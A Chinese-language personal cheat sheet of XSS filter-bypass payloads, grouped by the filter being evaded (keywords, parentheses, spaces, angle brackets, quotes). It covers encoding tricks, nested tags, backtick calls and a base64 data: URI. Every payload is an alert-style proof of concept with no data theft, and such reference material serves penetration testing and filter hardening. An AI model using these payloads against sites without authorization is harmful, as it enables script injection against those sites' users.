因为各种原因,在此总结一下网络上的绕过方法以及个人的经验,会不断更新,若有错误请私信
下面均忽略前端过滤的情况,且遇到字符过滤首选更换payload风格
1.对关键字符串进行过滤(包括重写为其他字符串,替换为空等)
如 script,on(+click/+mouseover......),alert,
(1)尝试对过滤字符串用大小写
(2)如果是是采用非<script>风格的payload,可对alert(1) javascript:alert(1)等类似的语句进行html实体编码
比如:
<img src=x onclick=alert(1)>
"> <iframe src=“javascript:alert(1)”> //
<a href=javascript:alert(1)>test</a>
HTML5新增了一些实体编码
如冒号:: 换行:
等
(3)如果采用伪协议风格的poc,可在诸如javascript:alert(1)中任意加入%0d,%0a,%09尝试绕过(抓包)
比如:
"> <iframe src=“javas%0dcrip%0at:ale%09rt(1)”> //
<a href="javas%0d%0a%09cript:ale%0d%0a%09rt(1)">Hello</a>
(4)尝试堆叠
<scscriptript>
<oonnclick>
如
<scr<script>ipt>alert(1)</scr<script>ipt>
(5)注释干扰绕过,不一定能够解析
<scri<!--test-->pt>alert(1)</scri<!--test-->pt>
(6)对alert进行过滤的可由下面语句代替
平替:
<script>prompt(1)</script>
<script>confirm(1)</script>
<script>document.write(1)</script>
<script>window.open(1)</script>
绕过:
<script>\u{61}l\u{65}rt`1`</script>
<script>this["ale"+"rt"]`666`</script>
<img src=0 onerror="var a='al';var b='ert';a+=b;top[a](1)">
2. 对圆括号进行过滤
(1)尝试采用html实体编码
"><a hrEf=javascript:alert(1)>test</a>
"><a hrEf=javascript:alert(1)>test</a>
或者抓包对&进行与#进行url编码
或者是在html编码基础上进行十六进制编码
"><a hrEf=javascript:alert(1)>test</a>
(2)尝试用反引号代替圆括号
<img src=x onerror=alert`1`>
或者再对反引号进行加工
(3)尝试<script>标签外加其他标签强制解析html实体编码
<svg><script>alert(1)</script></svg>
3.对空格进行过滤
(1)尝试使用%0d,%0a,%09将空格替换
<img%0Dsrc=1%0Aonclick=alert(1)>
(2)使用反斜杠替换空格
<img/src="1"/onclick=alert(1)>
4.对尖括号过滤
(1)首选更换payload风格,或者尝试各种编码,但是不一定能被解析
如unicode编码
\\u003cscript\\u003ealert(1);\\u003c/script\\u003e
十六进制或者八进制编码
\\x3cscript\\x3ealert(1);\\x3c/script\\x3e
若是传参点在地址栏里面或者抓包修改,可尝试二次url编码
%253cscript%253ealert(1)%253c%252Fscript%253e
5.对双引号或者单引号进行过滤
(1)如果可点在href= 或者 src= 诸如此类的地方
可采用伪协议风格
插入后如:
<iframe src="javascript:alert(1)">
<a href="javascript:alert(1)">test</a>
(2)选用base64编码
data协议
<object data=data:text/html;base64,PHNjcmlwdD5hbGVydCgiS0NGIik8L3NjcmlwdD4=></object>
当尖括号或者双引号都被过滤
若有href,src,background等可控点,尝试插入
data:text/html;base64,PHNjcmlwdD5hbGVydCgiS0NGIik8L3NjcmlwdD4=